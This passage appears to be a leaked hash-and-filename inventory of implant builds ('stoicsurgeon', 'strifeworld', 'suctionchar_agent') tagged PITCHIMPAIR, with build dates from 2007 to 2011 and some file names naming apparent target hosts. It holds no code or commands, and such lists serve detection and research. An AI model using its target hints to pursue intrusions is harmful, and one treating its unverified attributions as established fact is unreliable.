[PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.3_x86-linux-suse-10.0 +C3521C94E9821D8F72F3AB90D883ABB4F1147EBF Mon Jun 22 20:08:10 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.4_x86-linux-avaya +E633EE80CDFE2A9E0957D23F7EF2B629C2FC4D07 Tue Jun 30 05:29:53 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.4.5_x86-linux-ubuntu-8.04 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.1_x86-junos-8.5 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.2_x86-junos-9.0 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.3_x86-junos-9.1 +5314B33ACFCE934E26288040FF269BE8E4128832 Tue Jun 30 16:27:30 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.4_x86-junos-9.2 +7D8E2EE9292EDE80CB9CD08991951C485A2B845E Thu Aug 13 21:51:07 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.5_x86-junos-9.3 +7D8E2EE9292EDE80CB9CD08991951C485A2B845E Thu Aug 13 21:51:07 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.6.6_x86-junos-9.4 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.1_x86-linux-alt-2.4 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.2_x86-linux-redhat-7.2 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.3_x86-linux-slackware-11.0 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.4_x86-linux-vinifera-bs101v01 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.5_x86-linux-redhat-enterprise-4.0 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.7_x86-linux-redhat-9.0 +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.8_x86-linux-toadyteal-rowdaco.com +62E9BEA0E9127953BC42B28100330FD57C9DB914 Fri Jul 31 16:40:51 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.8.9_x86-linux-centos-5.1 +F1706A147B50E8CCEF163B35DF5994A043B192DE Thu Aug 20 19:16:16 2009 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.5.9.1_x86_64-linux-suse-10.1 +08A1AB6D3C21ACA9D9BAA9B185AC8A19710778E9 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.1_x86_64-freebsd-potbed-greencache4 +B523E7AC6E6BC3932601CEAC001A487C0516784D Wed Sep 1 11:50:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.2_x86_64-freebsd-7.0 +08A1AB6D3C21ACA9D9BAA9B185AC8A19710778E9 Tue Aug 31 15:22:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.3_x86_64-freebsd-potbed-cache55 +C0ED74ACBC0405E9621F521F2447644B1CEE3920 Fri Sep 3 19:55:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.0.6_x86_64-linux-centos-5.5 +6CDF33050FFC4E326BE157BFEFD05E60D4554B92 Tue Sep 14 22:35:25 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.1.1_x86-linux-centos-5.4 +6CDF33050FFC4E326BE157BFEFD05E60D4554B92 Tue Sep 14 22:35:25 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.1.2_x86-linux-centos-5.5 +F8AE947834EE13561608CBA25657143CB2A6E85A Fri Sep 17 17:16:53 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.1.4_x86_64-linux-redhat-enterprise-5.5 +E56E3C6AFE512B2932DBB0F9D13CDE3DA97D9F0D Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.10.2_x86-linux-centos-4.4 +E56E3C6AFE512B2932DBB0F9D13CDE3DA97D9F0D Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.10.5_x86-linux-acridmini-sg +F6EC9435B60795231ECB44448AF32073249D5D4D Mon Nov 29 19:06:01 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.11.1_x86-linux-fedora12 +F6EC9435B60795231ECB44448AF32073249D5D4D Mon Nov 29 19:06:01 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.11.2_x86-linux-redhat-enterprise-5.5 +0DC2217E11180BAAC8640B9E9245624E0AFF911B Fri Dec 3 00:02:13 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.11.4_x86_64-linux-centos-5.5 +109DEACF50A969A8FD05EC52C939E13074663278 Thu Dec 9 23:19:51 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.10_x86_64-linux-centos-4.8 +386583116E0242FCFF145C04F0AEB8C89208E09B Thu Dec 9 23:39:06 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.11_x86-linux-centos-5.5 +BDA500879DDAF85E838B04ECB08B70477CAFB14C Tue Dec 7 00:00:31 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.3_sparc-sun-solaris2.9 +8B54DC6E08B0F579677BF26017DEBFDD54815935 Mon Dec 6 20:25:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.5_x86-linux-redstar-1.1 +5FEC232E4748B0B0A197174B63852D918515D338 Mon Dec 6 20:54:26 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.6_x86-linux-optimusprime-vezarat.dolat.ir +F5A8029CA9EDEAD2A068BCFC927136D066F7C7C5 Mon Dec 6 21:40:05 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.7_x86-linux-centos-5.5 +D6B1D1237458CD0E94B8D5E9E57A41840D1D1441 Thu Dec 9 22:21:07 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.12.9_x86-linux-slackware-13.0-switchdown_warkitten +D4A42BAD502E05DA64C44601C54992EA81716DFD Mon Dec 13 16:57:21 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.13.1_sparc-sun-solaris2.10 +8F419297E785E81C5BE3FC73D4FE82049D85EC0D Wed Dec 15 15:39:28 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.13.4_x86-linux-ubuntu-5.10 +01BD5ED4F1922AA0A80A1AAC12870D46758F20B8 Fri Dec 17 15:30:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.1_x86_64-freebsd-potbed-greencache4 +765B25DFCC3261FA733437E731EAC93A088FC26E Wed Dec 29 23:10:57 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.2_x86-linux-centos-5.5 +01BD5ED4F1922AA0A80A1AAC12870D46758F20B8 Fri Dec 17 15:30:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.3_x86_64-freebsd-potbed-cache55 +01BD5ED4F1922AA0A80A1AAC12870D46758F20B8 Fri Dec 17 15:30:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.5_x86_64-freebsd-7.2 +CC985AC80CCF390485953A78BD06C722E2E8D076 Tue Dec 21 19:21:09 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.6_x86-freebsd-7.2 +765B25DFCC3261FA733437E731EAC93A088FC26E Wed Dec 29 23:10:57 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.7_x86-linux-redhat-7-1-tilttop +4D0112D25474844322DCDE979A959B8CC77C9C9E Thu Dec 30 20:51:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.14.8_x86-linux-debian-3.1-darkscrew +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.1_x86-junos-10.0 +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.2_x86-junos-10.1 +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.3_x86-junos-10.2 +8F8A2C4F4AB90858B6D3269DC1571B26FB9228CE Thu Jan 6 00:13:46 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.15.4_x86-junos-10.3 +44D0AEF0E39137AA2D85C2A1D2B752E116E7723C Fri Jan 7 23:31:44 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.16.1_x86-linux-ubuntu-8.04 +D5C300B1A71F81CBD3E76180E1BF6307F86AAEB8 Tue Jan 18 17:04:26 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.16.2_x86-linux-suse-enterprise-10.1 +1C9DDA14F267B2CA863D37FA70F5FEE165458991 Thu Jan 20 19:17:44 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.16.4_x86-linux-debian-5.0 +56514DBE745C2CE3796F37DC9B72BD27902EF355 Mon Jan 24 19:51:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.17.1_x86-linux-slackware-10.2-vinifera +17FB28CCE8DC8E6EA9075CCCE1A1EEBDE40B195A Thu Jan 27 19:04:36 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.17.3_x86-linux-redhat-9.0-optimusprime +BF5FA4C3BE0842DA5456D9A227281A68107818FA Thu Feb 3 17:52:47 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.18.1_x86_64-freebsd-potbed-cache55 +261458F4AE70DAFB1F9EE51C5560572D45A03D2D Tue Feb 15 20:39:09 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.18.2_x86_64-linux-redhat-enterprise-5.5 +50E2298928C142913341E2EFFF6C3201DE369178 Wed Feb 23 16:43:14 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.19.1_x86_64-linux-centos-5.5 +EB1FE33BA791A9F85C601AC467D0AE0440ADF88B Thu Feb 24 19:03:07 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.19.2_x86-freebsd-6.3 +62D420C46E217E6066B4E465D601BB860346BB1F Thu May 19 20:36:49 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.19.4_x86-linux-debian-4.0 +285D617537AB9C72AF604F69DE2926AD585FA091 Wed Apr 27 22:57:43 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.2_x86-linux-centos-5.5 +9901FA89B3F6B52AC56CE62EDABA3BE50E0776F3 Sat Mar 26 05:20:50 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.5_x86-linux-redhat-enterprise-5.1 +71A0AC87F1B83D310D843CB2D980E36036C0337F Tue Mar 29 15:04:22 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.6_x86-linux-slackware-10.0 +285D617537AB9C72AF604F69DE2926AD585FA091 Wed Apr 27 22:57:43 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.20.7_x86-linux-redhat-enterprise-5.3 +28BB2C0BC2B951A8C84E1B8AD98959591A594E6A Mon Sep 27 14:21:54 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.3.1_x86-linux-acridmini-sg +3FABCB5061DCC499439CBF1A98475CE398ECFC80 Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.1_x86-linux-redhat-enterprise-4.0 +3FABCB5061DCC499439CBF1A98475CE398ECFC80 Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.3_x86-linux-redstar-1.1 +3FABCB5061DCC499439CBF1A98475CE398ECFC80 Tue Sep 28 20:48:19 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.4_x86-linux-suse-11.0 +1640CE0B4BEE8912A39BCBAADA39E619F31B61C9 Tue Oct 5 14:40:47 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.4.5_x86_64-linux-suse-enterprise-10.2 +A8583CA75FC4EA81E174B2DBF0E871405861129B Fri Oct 1 14:45:36 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.5.1_x86-linux-waxstart-17331hd51071.ikoula.com +3169CD814778524A56978EE79C4E3DA456812443 Wed Oct 6 20:34:30 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.6.2_x86-linux-fedora13 +94BD6F090CFDA37B5B06B92F327440CEF0145A07 Fri Oct 8 16:51:50 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.7.1_x86_64-linux-centos-5.5 +DA64000A1B64CCDEBDAEFF27D7D6ACE66641BFEE Wed Oct 13 20:51:39 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.7.2_x86-linux-debian-4.0 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.1_x86-junos-8.5 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.2_x86-junos-9.0 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.3_x86-junos-9.1 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.4_x86-junos-9.2 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.6_x86-junos-9.4 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.7_x86-junos-9.5 +AB9ADF8E11967E0A5FFF6329AC95689B2CDA18E5 Thu Oct 14 14:15:27 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.8_x86-junos-9.6 +5F82380607C1F741CCC2F954EA02CD8A16F80633 Wed Oct 20 21:03:52 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.8.9_x86-linux-redhat-enterprise-4.0 +9635B7AA441B879EE8A7CF9A687D882803B91347 Fri Nov 5 03:45:56 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.9.5_x86-linux-slackware-12.2 +E56E3C6AFE512B2932DBB0F9D13CDE3DA97D9F0D Wed Nov 17 18:19:17 2010 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.6.9.6_x86-linux-acridmini-sg +D541120A96D1EB33D06BE8B1FA5A5E8040001676 Mon Apr 25 12:38:32 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.0.2_sparc-sun-solaris2.10 +FFA0D35DEAA93BE0A12F7079A24BECEEDE2D5479 Wed Apr 27 16:27:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.0.3_sparc-sun-solaris2.8 +644297B8207994A96273CAA4C3A7A1780B802CEF Mon May 2 14:45:23 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.0.4_sparc-sun-solaris2.9 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.10_x86-linux-fedora9 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.12_x86-linux-fedora8-acridmini +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.13_x86_64-linux-centos-5.6 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.14_x86-linux-redhat-enterprise-5.6 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.15_x86_64-linux-centos-5.5 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.16_x86_64-linux-centos-4.2 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.17_x86_64-linux-redhat-enterprise-4.0 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.1_x86_64-linux-scientific-5.5 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.2_x86_64-linux-redhat-enterprise-5.1 +5A68EEBE1E1BACF552EF8AE504A138972A43FAD0 Wed Apr 27 19:31:07 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.3_x86-freebsd-5.3 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.4_x86-linux-redhat-enterprise-5.3 +FC914F9830AD0CF670268A561C7F3A661CB8007F Thu Apr 28 13:40:30 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.5_x86_64-freebsd-7.2-potbed +5A68EEBE1E1BACF552EF8AE504A138972A43FAD0 Wed Apr 27 19:31:07 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.6_x86-freebsd-5.3-sassyninja +71617EF03A7200A2FF3DD3C4152D41C9C67BBA5B Thu Apr 28 18:57:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.7_x86-freebsd-7.4-switchdown_surf_sr +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.8_x86-linux-fedora7 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.1.9_x86-linux-suse-11.0 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.1_x86-linux-ubuntu-10.04 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.2_x86_64-linux-suse-enterprise-11.0 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.5_x86-linux-centos-4.7 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.2.8_x86-linux-redhat-enterprise-4.2 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.3.1_x86-linux-fedora8-acridmini +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.3.2_x86-linux-redhat-enterprise-5.4 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.4.1_x86-linux-slackware-12.2-mentalbolt_e +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.10_x86-linux-centos-5.6 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.1_x86_64-linux-redhat-enterprise-4.5 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.2_x86_64-linux-centos-4.7 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.4_x86-linux-redhat-enterprise-5.3 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.6_x86-linux-clearos-5 +71617EF03A7200A2FF3DD3C4152D41C9C67BBA5B Thu Apr 28 18:57:21 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.5.7_x86-freebsd-7.4 +B3A204B757EDE232AD03491248A55C09AF4DD35A Tue Jun 28 16:06:20 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.1_x86-freebsd-6.2-deign_pi +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.2_x86-linux-fedora12 +2664CECF21F281C2E9DE5C38119964325B4450CA Fri May 13 19:15:25 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.3_x86_64-linux-centos-5.6 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.6.5_x86-linux-redhat-7.1-tilttop +C514AF36F3D6FD1CBF626CA08BC71F7B15AEEF5C Fri Jul 15 13:50:00 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.7.1_sparc-sun-solaris2.10 +FC54AD50EDCF33684FAA6BDAA63B506A0F6A6BB8 Mon Jun 6 22:32:06 2011 [PITCHIMPAIR.12] stoicsurgeon_ctrl__v__1.7.7.3_x86-linux-centos-5.6 +AD3997957D4BF220CE2FF38ACC628D8E23377B0E Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-i386-pc-solaris2.6_v.1.0.0.3 +4EE361F0FFEAE3DC4A5467789CF7CED054401613 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-i386-unknown-freebsd7.2_v.1.0.0.3 +7CB367B7D0CB60088C4A46F565CEFCA771575932 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-i686-pc-linux-2.6-gnu_v.1.0.0.3 +D6AA5EC24D2EAF2CE54764F3017C81ECBD426112 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-sparc-sun-solaris2.6_v.1.0.0.3 +C55A3862613021083C28CB6C0220D0613892F0A2 Thu Jun 17 21:06:04 2010 [PITCHIMPAIR.12] strifeworld_-x86_64-unknown-linux-2.6-gnu_v.1.0.0.3 +BB571869B0B734423717A0B7A14BA7D50809A4B2 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.old.i586-pc-linux-gnu +BB571869B0B734423717A0B7A14BA7D50809A4B2 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.old.i686-pc-linux-gnu +5229B6E2800C84655052F24D1ADC8BE1B49BD38A Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.slack36.i586-pc-linux-gnu +5229B6E2800C84655052F24D1ADC8BE1B49BD38A Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld-strifeworld.slack36.i686-pc-linux-gnu +5FDF9FAAE3A7634D34E5502D461794120741FAEE Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-pc-solaris2.6 +5FDF9FAAE3A7634D34E5502D461794120741FAEE Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-pc-solaris2.8 +3A00F4E09DB6BA695CCEF0CB146578192A86F43B Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-unknown-freebsd3.3 +5B9E88E751B7870C1F89E08E5F2A245037E517F7 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-unknown-freebsd4.0 +5B9E88E751B7870C1F89E08E5F2A245037E517F7 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.i386-unknown-freebsd4.4 +907521E449E25595CC74271D3EDC928C3A181CEC Thu Feb 14 00:00:42 2008 [PITCHIMPAIR.12] strifeworld.i686-pc-linux-gnu +BE62777DAFD7EAFCDBC64672C25C8224D8B9B16D Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-sun-solaris2.5.1 +E64594DF3EE85809409DCA7AF0250FA5240629D5 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-sun-solaris2.6 +E64594DF3EE85809409DCA7AF0250FA5240629D5 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-sun-solaris2.9 +2D727C23D659D3FC22CF6C466C7ABCC401AEC4E5 Thu Feb 14 00:00:43 2008 [PITCHIMPAIR.12] strifeworld.sparc-unknown-linux-gnu +CBAFC69B15DCA64EBD6955041F3DDF04AC5E666B Wed Jan 6 00:24:29 2010 [PITCHIMPAIR.12] suctionchar_agent__v__1.5.17.7_x86-linux-centos-5.4 +5324058C0B5D76941D83E1CAAA177E34C7AA1AAB Mon Jul 9 16:57:39 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.10.1_x86-linux-mandriva-2006 +17A02A77E2F46EF04B084D49488D9F30E772632D Wed Jul 25 16:24:00 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.10.4_x86-linux-redhat-enterprise-4.0 +47D8B181E9CA8E51064784E6EED31A2DE5914398 Wed Aug 8 21:25:38 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.11.2_x86-linux-redhat-enterprise-3.0 +47D8B181E9CA8E51064784E6EED31A2DE5914398 Wed Aug 8 21:25:38 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.11.3_x86-linux-slackware-10.2 +565D160AF1C96F37846FD68CC0AF7B23A1CCBD9A Mon Aug 27 21:39:37 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.12.1_sparc-sun-solaris2.7 +2583037B2CF2957E62AC7A423786469124E3DD3F Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.13.1_x86-linux-fedora5 +2583037B2CF2957E62AC7A423786469124E3DD3F Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.13.2_x86-linux-fedora6 +2583037B2CF2957E62AC7A423786469124E3DD3F Thu Sep 6 17:41:49 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.13.4_x86-linux-redhat-7.3 +3D42A44B2F69BA70D238BA0EBB6272E81C142403 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.17.1_x86-linux-suse-8.2 +3D42A44B2F69BA70D238BA0EBB6272E81C142403 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.17.3_x86-linux-suse-10.0 +3D42A44B2F69BA70D238BA0EBB6272E81C142403 Wed Dec 12 14:31:46 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.17.4_x86-linux-tilttop-gate.nto +6E13B5EFAEDE0C4A5A719AD41217AEA4E49BB216 Tue Dec 18 20:46:17 2007 [PITCHIMPAIR.12] suctionchar_agent__v__2.0.18.1_x86-freebsd-6.2 +B16C22F2DD68A8B499926B1D33DBB76E69E64C45 Thu Feb 7 23:21:00 2008 